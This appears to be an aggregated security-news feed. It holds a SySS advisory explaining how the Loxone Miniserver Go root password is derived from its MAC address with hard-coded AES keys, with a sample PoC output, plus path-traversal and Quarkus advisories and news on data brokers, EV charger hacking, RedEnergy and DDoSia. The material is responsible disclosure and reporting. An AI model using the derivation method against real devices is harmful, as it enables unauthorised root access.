The root password of the Loxone Miniserver Go Gen.2 before 14.2 is calculated using hard-coded secrets and the MAC address. This allows a local user to calculate the root password and escalate privileges.

\-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ﻿Advisory ID: SYSS-2023-013 Product: Miniserver Go Gen.2 Manufacturer: Loxone Affected Version(s): <14.0.3.28 Tested Version(s): 14.0.3.28, 13.1.11.17 Vulnerability Type: Use of Hard-coded Cryptographic Key (CWE-321) Risk Level: Low Solution Status: Fixed Manufacturer Notification: 2023-05-03 Solution Date: 2023-06-20 Public Disclosure: 2023-06-30 CVE Reference: CVE-2023-36623 Author of Advisory: Tobias Jäger, SySS GmbH Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: The Loxone Miniserver Go is a smart home hub. The manufacturer describes the product as follows (see \[1\]): "The Loxone Miniserver Go serves as central control unit for all kinds of automation tasks." Due to the use of hardcoded keys, the root password can be derived from the MAC address. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The Loxone Miniserver is calculating the root password using the command "miniserverinit setpwd". The root password is derived from the MAC address of the Miniserver, using hardcoded cryptographic keys. The root password is calculated by encrypting the MAC address of the device using the AES256-CBC algorithm. The encryption key and initialization vector are hardcoded in the binary "miniserverinit". The ciphertext is then Base64-encoded and, additionally, some characters are substituted. The root password is then the 20 character long substring, starting with the 10th character. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): # python3 calc\_root\_pw.py 50:4f:94:a5:b1:e4 Root password: VRuM10yZrBRMuC1gi7qy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Install firmware version 14.2. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2023-04-21: Vulnerability discovered 2023-05-03: Vulnerability reported to manufacturer 2023-06-20: Patch released by manufacturer 2023-06-30: Public disclosure of vulnerability ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: \[1\] Product website for the Loxone Miniserver Go https://www.loxone.com/dede/kb/miniserver-go/ \[2\] SySS Security Advisory SYSS-2023-013 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2023-013.txt \[3\] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Tobias Jäger and Moritz Abrell of SySS GmbH. E-Mail: tobias.jaeger@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Tobias\_Jaeger.asc Key Fingerprint: 5C9F 5312 F37E B9AB E87B 1212 ABF0 CF2F 4D02 20F9 E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz\_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory is available on the SySS website. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 3.0 URL: http://creativecommons.org/licenses/by/3.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEXJ9TEvN+uavoexISq/DPL00CIPkFAmSdKbQACgkQq/DPL00C IPlXXw//bpc3+DF/bmWwfuy1kdbeVGah0VHL6+an1qDEL42U+cV5mJIJ152WJ78i or+M9HqLb/NN5h/I9enF9Ae8qcUdW2Gj7q3uqs2/JH3vAQFdHDl74Gdl2g3S+tuP 2+l/FB3G/e4dp8jLdI5WQOFiU1R6qkvFqpIwDb5KCtbKFLaPzYFV5I56Q1NSkxVh I8F4T5qZVLeXmemz/Q8rW9vNDWqBIORVu/DDkSoPj09YBzD/jMYZ4Iu3HMWWDBiQ midddnOFW7R1of4k7kthx5DItWA3qz1ZGpupC+0RFxr5SxzKmpVY/3tErjWeHBG+ suBH+e8FHr5NOvZFd4VSsQSe+mlkNYQEbBf3vURidXwBfOLEco0j+tNDyv4U25GL ClxEb2tSpdXwu11u2GvN2KspPrhM7qJKjj27ld9d4fb8U/3cIpLMOUPYson6BFnd JkisH34zMzssjSrtOyJJKW8v8bBLbifjtzMtjlkFsE6PtZu0W3Wz8+kSZ8j9qI4n zfoRtGHCgq/lXufGNYwbRy5/aZL66osn+PK2kRCiZRCYnA+g/RVheyBo9Xc76YuU 6UT7Y2m3xCWKrmnugjvVQv8DFay8VYUC/KNbi6OSwXiluhLIJZQUjq9K8RUWtUlK OMXoVRtz5YzJGKUpIUugQqcX9SYrFVsdBk0uL8VasITV8Zjzrkg= =hBut -----END PGP SIGNATURE-----

CVE-2023-36623

The National Defense Authorization Act may include new language forbidding government entities from buying Americans' search histories, location data, and more.

A “must-pass” defense bill wending its way through the United States House of Representatives may be amended to abolish the government practice of buying information on Americans that the country’s highest court has said police need a warrant to seize. Though it’s far too early to assess the odds of the legislation surviving the coming months of debate, it’s currently one of the relatively few amendments to garner support from both Republican and Democratic members. 

Introduction of the amendment follows a report declassified by the Office of the Director of National Intelligence—the nation’s top spy—which last month revealed that intelligence and law enforcement agencies have been buying up data on Americans that the government’s own experts described as “the same type” of information the US Supreme Court in 2018 sought to shield against warrantless searches and seizures. 

A handful of House lawmakers, Republicans and Democrats alike, have declared support for the amendment submitted late last week by representatives Warren Davidson, a Republican from Ohio, and Sara Jacobs, a California Democrat. The bipartisan duo is seeking stronger warrant requirements for the surveillant data constantly accumulated by people’s cellphones. They argue that it shouldn’t matter whether a company is willing to accept payment from the government in lieu of a judge’s permission.

“Warrantless mass surveillance infringes the Constitutionally protected right to privacy,” says Davidson. The amendment, he says, is aimed chiefly at preventing the government from “circumventing the Fourth Amendment” by purchasing “your location data, browsing history, or what you look at online.”

A copy of the Davidson-Jacobs amendment reviewed by WIRED shows that the warrant requirements it aims to bolster focus specifically on people’s web browsing and internet search history, along with GPS coordinates and other location information derived primarily from cellphones. It further encapsulates “Fourth Amendment protected information” and would bar law enforcement agencies of all levels of jurisdiction from exchanging “anything of value” for information about people that would typically require a “warrant, court order, or subpoena under law.”

The amendment contains an exception for anonymous information that it describes as “reasonably” immune to being de-anonymized; a legal term of art that would defer to a court’s analysis of a case’s more fluid technicalities. A judge might, for instance, find it unreasonable to assume a data set is well obscured based simply on the word of a data broker. The Federal Trade Commission’s Privacy and Identity Protection Division noted last year that claims that data is anonymized “are often deceptive,” adding that “significant research” reflects how trivial it often is to reidentify “anonymized data.”

The amendment was introduced Friday to defense legislation that will ultimately authorize a range of policies and programs consuming much of the Pentagon’s nearly $890 billion budget next year. The National Defense Authorization Act (NDAA), which Congress is required to pass annually, is typically pieced together from hundreds, if not thousands, of amendments. 

This year negotiations are particularly contentious, given the split chamber and a mess of interparty strife, and only one in six NDAA amendments introduced so far have apparent bipartisan support. 

Republican members Nancy Mace of South Carolina, Kelly Armstrong of North Dakota, and Ben Cline of Virginia have backed the Davidson-Jacobs amendment, according to the House Rules Committee website. They’re joined by Democrats Pramila Jayapal of Washington, Zoe Lofgren of California, and Veronica Escobar of Texas.

Jacobs previously coauthored a related amendment with Davidson that attempted to compel the US military to disclose annually how often its various spy agencies purchase Americans’ smartphone and web-browsing data. The amendment was stripped from the final version of last year’s NDAA.

The data broker report declassified last month by the US director of national intelligence, Avril Haines, stressed that neither presently, nor at any point in the past, would the government be permitted to force “billions of people to carry location-tracking devices on their persons at all times.” That is, nevertheless, what is happening today, independent of the government’s actions. The unceasing explosions of new technologies are clashing more and more frequently with the nation’s antiquated privacy laws, giving the Department of Homeland Security, Defense Intelligence Agency, and others like them an unmistakable loophole through which virtually anyone can be surveilled without a reason. 

Demand Progress senior policy counsel Sean Vitka, whose group has spent years lobbying for privacy reform in the face of the government’s growing and often secret reliance on data brokers, says the relatively untracked purchases—up to and including “turnkey lists of everyone who has gone to an abortion clinic, a place of worship, a rehab facility, or a protest”—represent an “existential threat” to the right to privacy. The Davidson-Jacobs amendment marks a “critical opportunity to get \[federal lawmakers\] on the record,” adds Vitka.

The American Civil Liberties Union intends to score how lawmakers vote on the amendment, WIRED has learned. The lawmakers’ effort is also being supported by the Electronic Frontier Foundation, National Association of Criminal Defense Lawyers, FreedomWorks, and the Brennan Center for Justice at NYU School of Law, among dozens of similar civil society organizations.  

Congressional staffers and others privy to ongoing conferencing over privacy matters on Capitol Hill say that regardless of whether the amendment succeeds, the focus on data brokers is just a prelude to a bigger fight coming this fall over the potential sunsetting of one of the spy community’s powerful tools, Section 702 of the Foreign Intelligence Surveillance Act, the survivability of which is anything but assured.

US Spies Are Buying Americans' Private Data. Congress Has a Chance to Stop It

Vulnerabilities in electric vehicle charging stations and a lack of broad standards threaten drivers—and the power grid.

_This story was co-published with_ _Grist__, a nonprofit media organization covering climate, justice, and solutions._

With his electric Kia EV6 running low on power, Sky Malcolm pulled into a bank of fast-chargers near Terre Haute, Indiana, to plug in. As his car powered up, he peeked at nearby chargers. One in particular stood out.

Instead of the businesslike welcome screen displayed on the other Electrify America units, this one featured a picture of President Biden pointing his finger, with an “I did that!” caption. It was the same meme the president’s critics started slapping on gas pumps as prices soared last year, cloned 20 times across the screen.

"It was, unfortunately, not terribly surprising,” Malcolm says of the hack, which he stumbled upon last fall. Such shenanigans are increasingly common. At the beginning of the war in Ukraine, hackers tweaked charging stations along the Moscow–Saint Petersburg motorway in Russia to greet users with anti-Putin messages. Around the same time, cyber-vandals in England programmed public chargers to broadcast pornography. Just this year, the hosts of YouTube channel The Kilowatts tweeted a video showing it was possible to take control of an Electrify America station’s operating system.

While such breaches have so far remained relatively innocuous, cybersecurity experts say the consequences would be far more severe at the hands of truly nefarious miscreants. As companies, governments, and consumers sprint to install more chargers, the risks could only grow.

In recent years, security researchers and white-hat hackers have identified sprawling vulnerabilities in internet-connected home and public charging hardware that could expose customer data, compromise Wi-Fi networks, and, in a worst-case scenario, bring down power grids. Given the dangers, everyone from device manufacturers to the Biden administration is rushing to fortify these increasingly common machines and establish security standards.

“This is a major problem,” says Jay Johnson, a cybersecurity researcher at Sandia National Laboratories. “It is potentially a very catastrophic situation for this country if we don't get this right.”

Vulnerabilities in EV charger security aren’t hard to find. Johnson and his colleagues summarized known shortcomings in a paper published last fall in the journal _Energies_. They found everything from the possibility of hackers being able to track users to vulnerabilities that “may expose home and corporate \[Wi-Fi\] networks to a breach.” Another study, led by Concordia University and published last year in the journal _Computers & Security_, highlighted more than a dozen classes of “severe vulnerabilities,” including the ability to turn chargers on and off remotely, as well as deploy malware.

When British security research firm Pen Test Partners spent 18 months analyzing seven popular EV charger models, it found five had critical flaws. For instance, it identified a software bug in the popular Chargepoint network that hackers could likely exploit to obtain sensitive user information (the team stopped digging before acquiring such data). A charger sold in the UK by Project EV allowed researchers to overwrite its firmware.

Such cracks could conceivably permit hackers to access vehicle data or consumers’ credit card information, says Ken Munro, a cofounder of Pen Test Partners. But perhaps the most worrying weakness to him was that, as with the Concordia testing, his team discovered that many of the devices allowed hackers to stop or start charging at will. That could leave frustrated drivers without a full battery when they need one, but it’s the cumulative impacts that could be truly devastating.

“It’s not about your charger, it’s about everyone’s charger at the same time,” he says. Many home users leave their cars connected to chargers even if they aren’t drawing power. They might, for example, plug in after work and schedule the vehicle to charge overnight when prices are lower. If a hacker were to switch thousands, or millions, of chargers on or off simultaneously, it could destabilize and even bring down entire electricity networks. 

“We’ve inadvertently created a weapon that nation-states can use against our power grid,” says Munro. The United States glimpsed what such an attack might look like in 2021 when hackers hijacked Colonial Pipeline and disrupted gasoline supplies nationwide. The attack ended once the company paid millions of dollars in ransom.

Munro’s top recommendation for consumers is to not connect their home chargers to the internet, which should prevent the exploitation of most vulnerabilities. The bulk of safeguards, however, must come from manufacturers.

“It's the responsibility of the companies offering these services to make sure they are secure,” says Jacob Hoffman-Andrews, senior staff technologist at the Electronic Frontier Foundation, a digital rights nonprofit. “To some degree, you have to trust the device you're plugging into.”

Electrify America declined an interview request. With regard to the issues Malcolm and the Kilowatts documented, spokesperson Octavio Navarro wrote in an email that the incidents were isolated and the fixes were quickly deployed. In a statement, the company said, “Electrify America is constantly monitoring and reinforcing measures to protect ourselves and our customers and focusing on risk-mitigating station and network design.”

Pen Test Partners wrote in its findings that companies were by and large responsive to fixing the vulnerabilities it identified, with ChargePoint and others plugging gaps in less than 24 hours (though one company created a new hole while trying to patch the old one). Project EV did not respond to Pen Test Partners but did eventually implement “strong authentication and authorization.” Experts, however, argue that it’s far past time for the industry to move beyond this whack-a-mole approach to cybersecurity.

“Everybody knows this is an issue and lots of people are trying to figure out how to best solve it,” says Johnson, adding that he has seen progress. For example, many public charging stations have upgraded to more secure methods of transmitting data. But as for a coordinated set of standards, he says, “there's not much regulation out there.”

There has been some movement toward changing that. The 2021 Bipartisan Infrastructure Law included some $7.5 billion to expand the electric vehicle charging network across the US, and the Biden administration has made cybersecurity part of that initiative. Last fall, the White House convened manufacturers and policymakers to discuss a path toward ensuring that increasingly vital electric vehicle charging hardware is properly protected.

“Our critical infrastructure needs to meet a baseline level of security and resilience,” says Harry Krejsa, chief strategist at the White House Office of the National Cyber Director. He also argued that bolstering EV cybersecurity is as much about building trust as it is mitigating risk. Secure systems, he says, “give us the confidence in our next-generation digital foundations to aim higher than we possibly could have otherwise.”

Earlier this year, the Federal Highway Administration finalized a rule requiring states to implement “appropriate” cybersecurity strategies for chargers funded under the infrastructure law. But Johnson says the regulation omits devices installed outside that expansion, not to mention the more than 100,000 units already in place nationwide. Plus, he says, states haven’t offered much detail about what they’ll do. “If you drill down into the state plans, you'll find that they are actually extremely light on cyber requirements,” he says. “The vast majority that I saw just say they will follow best practices.”

Just what constitutes best practice remains ill-defined. Johnson and his colleagues at Sandia published recommendations for charger manufacturers, and he noted that the National Institute of Standards and Technology is developing a framework for fast-charging that could help shape future regulation. But, ultimately, he would like to see something akin to the 2022 Protecting and Transforming Cyber Health Care Act that’s geared toward electric vehicles.

“Regulation is a way to drive the entire industry to improve their baseline security standards,” he says, pointing to recent laws in other countries as models or starting points for policymakers in the United States. Last year, for instance, the United Kingdom rolled out a host of requirements for EV chargers, such as enhanced encryption and authentication standards, tamper detection alerts, and randomized delay functionality.

The latter means that a charger must be able to turn on and off with a random time delay of up to 10 minutes. That would mitigate the impact of all the chargers in an area coming online simultaneously after a power outage or hack. “You don’t get that spike, which is great,” says Munro. “It removes the threat from the power grid.”

Johnson is optimistic that the industry is moving in the right direction, albeit more slowly than is ideal. “I can't imagine \[stricter standards\] won't happen. It's just taking a long time,” he says. And he certainly doesn’t want to spark undue alarm, but rather apply steady pressure for improvement.

“It's scary stuff,” he says, “but it shouldn't be fear-mongering.”

EV Charger Hacking Poses a ‘Catastrophic’ Risk

A sophisticated stealer-as-a-ransomware threat dubbed RedEnergy has been spotted in the wild targeting energy utilities, oil, gas, telecom, and machinery sectors in Brazil and the Philippines through their LinkedIn pages.
The malware "possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for

Critical Infrastructure Security

A sophisticated stealer-as-a-ransomware threat dubbed **RedEnergy** has been spotted in the wild targeting energy utilities, oil, gas, telecom, and machinery sectors in Brazil and the Philippines through their LinkedIn pages.

The malware "possesses the ability to steal information from various browsers, enabling the exfiltration of sensitive data, while also incorporating different modules for carrying out ransomware activities," Zscaler researchers Shatak Jain and Gurkirat Singh said in a recent analysis.

The goal, the researchers noted, is to couple data theft with encryption with the goal of inflicting maximum damage to the victims.

The starting point for the multi-stage attack is a FakeUpdates (aka SocGholish) campaign that tricks users into downloading JavaScript-based malware under the guise of web browser updates.

What makes it novel is the use of reputable LinkedIn pages to target victims, redirecting users clicking on the website URLs to a bogus landing page that prompts them to update their web browsers by clicking on the appropriate icon (Google Chrome, Microsoft Edge, Mozilla Firefox, or Opera), doing so which results in the download a malicious executable.

Following a successful breach, the malicious binary is used as a conduit to set up persistence, perform the actual browser update, and also drop a stealer capable of covertly harvesting sensitive information and encrypting the stolen files, leaving the victims at risk of potential data loss, exposure, or even the sale of their valuable data.

Zscaler said it discovered suspicious interactions taking place over a File Transfer Protocol (FTP) connection, raising the possibility that valuable data is being exfiltrated to actor-controlled infrastructure.

In the final stage, RedEnergy's ransomware component proceeds to encrypt the user's data, suffixing the ".FACKOFF!" extension to each encrypted file, deleting existing backups, and dropping a ransom note in each folder.

Victims are expected to make a payment of 0.005 BTC (about $151) to a cryptocurrency wallet mentioned in the note to regain access to the files. RedEnergy's dual functions as a stealer and ransomware represent an evolution of the cybercrime landscape.

The development also follows the emergence of a new RAT-as-a-ransomware threat category in which remote access trojans such as Venom RAT and Anarchy Panel RAT have been equipped with ransomware modules to lock various file extensions behind encryption barriers.

"It is crucial for individuals and organizations to exercise utmost caution when accessing websites, especially those linked from LinkedIn profiles," the researchers said. "Vigilance in verifying the authenticity of browser updates and being wary of unexpected file downloads is paramount to protect against such malicious campaigns."

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

RedEnergy Stealer-as-a-Ransomware Threat Targeting Energy and Telecom Sectors

You can't encrypt a file you can't open — Microsoft could dramatically impact ransomware by slowing it down.

Recently, I was at a private event on security by design. I explained that Microsoft could fix ransomware tomorrow, and was surprised that the otherwise well-informed people I was speaking to hadn't heard about this approach.

Ransomware works by going through files, one by one, and replacing their content with an encrypted version. (Sometimes it also sends copies elsewhere, but that turns out to be slow, and sometimes sets off alarms.) Software on Microsoft Windows uses an application programming interface (API) called "CreateFile" to access files. Somewhat confusingly, CreateFile not only creates files but is also the primary way to open them.

Microsoft should rate-limit the CreateFile() API. That is to say, it should limit how often a given program can use the API. Because you can't encrypt a file until you can open it, this would have a dramatic impact on ransomware. It would slow it down, and help defensive tools catch it in time for humans to react.

Now, I say Microsoft _should_ do this, and I hope it does.

Also, I made this suggestion to help show the complexity of maintaining compatibility. On the surface, it's very simple and elegant. In practice — and I say this as the person who drove the Autorun fix into Windows Update — there's going to be both practical complexities and concerns that we don't know what all the effects will be.

**What Rate Is Reasonable?**

The first question is, what rate is reasonable? Pick low and you break applications; pick high and you lessen the protective value. For a lot of cases, one open per second seems fine, but when we get to things like compilers, which are going to open a lot of files, we see that we may need both a general limit and allow bursts. When we get to backup software, it gets even more complicated. The backup software needs to open all the files, or at least all the changed files, which, if you think about it, is really similar to what ransomware wants to do. We can't allow an exception for read-only opens. The ransomware will open a file, encrypt the contents, write it to a new file or append it to a database, and delete the original.

So, Windows will probably need multiple rate limits. There will need to be a way to exempt programs (like compilers and backup tools), and maybe that needs to be issued globally, which means a process for software creators to get a special certificate. There needs to be logging and alerts created, tested, internationalized, etc. There'll need to be new GPOs (a tool used to administer Windows) created and documented. There needs to be a local way to allow more CreateFile calls for software that is locally developed or obscure, or whose makers are no longer around. We need to make sure that ransomware can't abuse those mechanisms. (On recent Macs, there's a complex process of reboots needed to make certain changes to the system; perhaps something similar is warranted?)

That last is tricky: The administrator has power, by design, and it's hard to limit that power. Even logging file opens would make it easier to see what software is opening lots of new files, and make it harder for ransomware to be stealthy. (And yes, there are too many alarms already.)

As long as we are not hyperfocused on the details, attackers change slowly. They still phish, through more and more channels. Over 20 years, break-ins have gone from abusing software that's listening on open ports to other problems. That was the result of a breaking change of turning the Windows Firewall on by default, in response to 2003's "summer of worms."

Hyrum's law states roughly that somebody will depend on every observable behavior of your system. And change becomes complex. The simple statement "Microsoft should rate-limit the CreateFile() API" is a can of worms.

Given the exceptional cost of ransomware today, I think that can of worms is worth opening. I think my former colleagues are up to the challenge.

Microsoft Can Fix Ransomware Tomorrow

Frauscher Sensortechnik GmbH FDS001 for FAdC/FAdCi v1.3.3 and all previous versions are vulnerable to a path traversal vulnerability of the web interface by a crafted URL without authentication. This enables an remote attacker to read all files on the filesystem of the FDS001 device.

2023-07-05 10:00 (CEST) VDE-2023-011  

**Frauscher: Diagnostic System FDS001 for FAdC/FAdCi Path Traversal vulnerability**  
Share: Email | Twitter  

**Published**

2023-07-05 10:00 (CEST)

**Last update**

2023-07-03 07:53 (CEST)

**Vendor(s)**

Frauscher Sensortechnik GmbH  

**Product(s)**

Article No°

Product Name

Affected Version(s)

Diagnostic System FDS101 for FAdC/FAdCi

<= 1.3.3

**Summary**

Frauscher Diagnostic System FDS001 for FAdC R1 and FAdCi R1 v1.3.3 and all previous versions are vulnerable to a path traversal vulnerability of the web interface by a crafted URL without authentication.

**CVE ID**

**Last Update:**

July 3, 2023, 7:48 a.m.

**Severity**

**Weakness**

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')  (CWE-22) 

**Summary**

Frauscher Sensortechnik GmbH FDS001 for FAdC/FAdCi v1.3.3 and all previous versions are vulnerable to a path traversal vulnerability of the web interface by a crafted URL without authentication. This enables an remote attacker to read all files on the filesystem of the FDS001 device.

**Details**

**Impact**

The attacker can read all files on the filesystem of the FDS001 device. Note: Orphaned SSH keys exist on the file system, but they cannot be used to log in to the machine.

**Solution**

**Mitigation**

Security-related application conditions SecRAC  
The railway operator must ensure that only authorised personnel or people in the company of authorised personnel have access to the Frauscher Diagnostic System FDS001.  
The recommendation is to connect the Frauscher Diagnostic System FDS001 to a network of category 2. If the Frauscher Diagnostic System FDS001 is connected to a network of category 3 (according to EN 50159:2010), then additional protective measures must be added.

**Remediation**

For the Frauscher Diagnostic System FDS001 for FAdC R1 and FAdCi R1 no more firmware updates will be provided.

**Reported by**

Frauscher Sensortechnik coordinated with CERT@VDE

CVE-2023-2880: VDE-2023-011 | CERT@VDE

A vulnerability was found in quarkus-core. This vulnerability occurs because the TLS protocol configured with quarkus.http.ssl.protocols is not enforced, and the client can force the selection of the weaker supported TLS protocol.

Skip to navigation Skip to main content

**Utilities**

*   Subscriptions
*   Downloads
*   Containers
*   Support Cases

**Infrastructure and Management**

*   Red Hat Enterprise Linux
*   Red Hat Satellite
*   Red Hat Subscription Management
*   Red Hat Insights
*   Red Hat Ansible Automation Platform

**Cloud Computing**

*   Red Hat OpenShift
*   Red Hat OpenStack Platform
*   Red Hat OpenShift Container Platform
*   Red Hat OpenShift Data Science
*   Red Hat OpenShift Dedicated
*   Red Hat Advanced Cluster Security for Kubernetes
*   Red Hat Advanced Cluster Management for Kubernetes
*   Red Hat Quay
*   Red Hat CodeReady Workspaces
*   Red Hat OpenShift Service on AWS

**Storage**

*   Red Hat Gluster Storage
*   Red Hat Hyperconverged Infrastructure
*   Red Hat Ceph Storage
*   Red Hat OpenShift Data Foundation

**Runtimes**

*   Red Hat Runtimes
*   Red Hat JBoss Enterprise Application Platform
*   Red Hat Data Grid
*   Red Hat JBoss Web Server
*   Red Hat Single Sign On
*   Red Hat support for Spring Boot
*   Red Hat build of Node.js
*   Red Hat build of Quarkus

**Integration and Automation**

All Products

Issued:

2023-06-29

Updated:

2023-06-29

**RHSA-2023:3809 - Security Advisory**

*   Overview

**Synopsis**

Moderate: Red Hat build of Quarkus 2.13.8 release and security update

**Type/Severity**

Security Advisory: Moderate

**Topic**

An update is now available for Red Hat build of Quarkus. Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability. For more information, see the CVE links in the References section.

**Description**

This release of Red Hat build of Quarkus 2.13.8 includes security updates, bug  
fixes, and enhancements. For more information, see the release notes page listed in the References section.  

Security Fixes:  

*   CVE-2023-1436 jettison: Uncontrolled Recursion in JSONArray \[quarkus-2\]
*   CVE-2023-26053 gradle: usage of long IDs for PGP keys is unsafe and is subject to collision attacks \[quarkus-2\]
*   CVE-2023-28867 graphql-java: crafted GraphQL query causes stack consumption \[quarkus-2\]
*   CVE-2023-1584 quarkus-oidc: ID and access tokens leak via the authorization code flow \[quarkus-2\]
*   CVE-2023-0482 RESTEasy: creation of insecure temp files \[quarkus-2\]
*   CVE-2022-3782 keycloak: path traversal via double URL encoding \[quarkus-2\]
*   CVE-2023-0481 io.quarkus-quarkus-parent: quarkus: insecure permissions on temp files \[quarkus-2\]
*   CVE-2022-45787 apache-james-mime4j: Temporary File Information Disclosure in MIME4J TempFileStorageProvider \[quarkus-2\]

For more information about the security issues, including the impact, a CVSS  
score, acknowledgments, and other related information, see the CVE links listed in the References section.

**Solution**

Before applying this update, make sure all previously released errata  
relevant to your system have been applied.  

For details on how to apply this update, refer to:  

https://access.redhat.com/articles/11258

**Affected Products**

*   Red Hat Build of Quarkus Text-Only Advisories x86\_64

**Fixes**

*   BZ - 2158916 - CVE-2022-45787 apache-james-mime4j: Temporary File Information Disclosure in MIME4J TempFileStorageProvider
*   BZ - 2163533 - CVE-2023-0481 quarkus: insecure permissions on temp files
*   BZ - 2166004 - CVE-2023-0482 RESTEasy: creation of insecure temp files
*   BZ - 2174854 - CVE-2023-26053 gradle: usage of long IDs for PGP keys is unsafe and is subject to collision attacks
*   BZ - 2180886 - CVE-2023-1584 quarkus-oidc: ID and access tokens leak via the authorization code flow
*   BZ - 2181977 - CVE-2023-28867 graphql-java: crafted GraphQL query causes stack consumption
*   BZ - 2182788 - CVE-2023-1436 jettison: Uncontrolled Recursion in JSONArray
*   BZ - 2211026 - CVE-2023-2974 quarkus-core: TLS protocol configured with quarkus.http.ssl.protocols is not enforced, client can enforce weaker supported TLS protocol
*   QUARKUS-2672 - Infinispan client is not aligned with newly released Red Hat Data Grid 8.4
*   QUARKUS-2787 - Rest Data Panache: Correct Open API integration
*   QUARKUS-2846 - Ensure that new line chars don't break Panache projection
*   QUARKUS-2978 - ExceptionMapper<WebApplicationException> is not working in DEV mode
*   QUARKUS-3158 - Do not create session and PKCE encryption keys if only bearer tokens are expected
*   QUARKUS-3159 - 2.13: Do not support any Origin by default if CORS is enabled
*   QUARKUS-3161 - Fix security-csrf-prevention.adoc
*   QUARKUS-3164 - Logging with Panache: fix LocalVariablesSorter usage
*   QUARKUS-3167 - Make SDKMAN releases minor for maintenance and preview releases
*   QUARKUS-3168 - Backport Ensure that ConfigBuilder classes work in native mode to 2.13
*   QUARKUS-3169 - New home for Narayana LRA coordinator Docker images
*   QUARKUS-3170 - Fix truststore REST Client config when password is not set
*   QUARKUS-3173 - Reinitialize sun.security.pkcs11.P11Util at runtime
*   QUARKUS-3174 - Prevent SSE writing from potentially causing accumulation of headers
*   QUARKUS-3175 - Filter out RESTEasy related warning in ProviderConfigInjectionWarningsTest
*   QUARKUS-3176 - Make sure parent modules are loaded into workspace before those that depend on them
*   QUARKUS-3177 - Fix copy paste error in qute docs
*   QUARKUS-3178 - Pass \`--userns=keep-id\` to podman only when in rootless mode
*   QUARKUS-3179 - Fix stuck HTTP2 request when sent challenge has resumed request
*   QUARKUS-3181 - Make sure quarkus:go-offline properly supports test scoped dependencies
*   QUARKUS-3184 - Use SchemaType.ARRAY instead of "ARRAY" for native support
*   QUARKUS-3185 - Simplify logic in create-app.adoc and allow to define stream
*   QUARKUS-3187 - Allow context propagation for OpenTelemetry
*   QUARKUS-3188 - Fix RestAssured URL handling and unexpected restarts in QuarkusProdModeTest
*   QUARKUS-3191 - Drop ':z' bind option when using MacOS and Podman
*   QUARKUS-3194 - Exclude Netty's reflection configuration files
*   QUARKUS-3195 - Integrate the api dependency from Infinispan 14 (#ISPN-14268)
*   QUARKUS-3205 - Missing JARs and other discrepancies related to xpp3 dependency in 2.13.8.

**CVEs**

*   CVE-2022-45787
*   CVE-2023-0481
*   CVE-2023-0482
*   CVE-2023-1436
*   CVE-2023-1584
*   CVE-2023-2974
*   CVE-2023-26053
*   CVE-2023-28867

**References**

*   https://access.redhat.com/security/updates/classification/#moderate
*   https://access.redhat.com/documentation/en-us/red\_hat\_build\_of\_quarkus/2.13/
*   https://access.redhat.com/articles/4966181

The Red Hat security contact is secalert@redhat.com. More contact details at https://access.redhat.com/security/team/contact/.

CVE-2023-2974

The threat actors behind the DDoSia attack tool have come up with a new version that incorporates a new mechanism to retrieve the list of targets to be bombarded with junk HTTP requests in an attempt to bring them down.
The updated variant, written in Golang, "implements an additional security mechanism to conceal the list of targets, which is transmitted from the [command-and-control] to the

The threat actors behind the **DDoSia** attack tool have come up with a new version that incorporates a new mechanism to retrieve the list of targets to be bombarded with junk HTTP requests in an attempt to bring them down.

The updated variant, written in Golang, "implements an additional security mechanism to conceal the list of targets, which is transmitted from the \[command-and-control\] to the users," cybersecurity company Sekoia said in a technical write-up.

DDoSia is attributed to a pro-Russian hacker group called NoName(057)16. Launched in 2022 and a successor of the Bobik botnet, the attack tool is designed for staging distributed denial-of-service (DDoS) attacks against targets primarily located in Europe as well as Australia, Canada, and Japan.

Lithuania, Ukraine, Poland, Italy, Czechia, Denmark, Latvia, France, the U.K., and Switzerland have emerged as the most targeted countries over a period ranging from May 8 to June 26, 2023. A total of 486 different websites were impacted.

Python and Go-based implementations of DDoSia have been unearthed to date, making it a cross-platform program capable of being used across Windows, Linux, and macOS systems.

